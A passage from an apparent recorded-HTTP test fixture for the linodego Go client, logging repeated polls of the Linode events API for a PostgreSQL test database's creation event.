Wed, 22 Jan 2025 16:00:02 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:00:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:00:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:00:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:01:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:01:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:01:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:01:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:02:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:02:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:02:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:02:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:03:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:03:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:03:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:03:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:04:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "480" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 16:04:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:49:28"},"entity.id":210830,"entity.type":"database","id":{"+gte":934275685}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934275685, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-postgres-testing-defg02323nvin1r", "id": 210830, "type": "database", "url": "/v4/databases/postgresql/instances/210830"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' 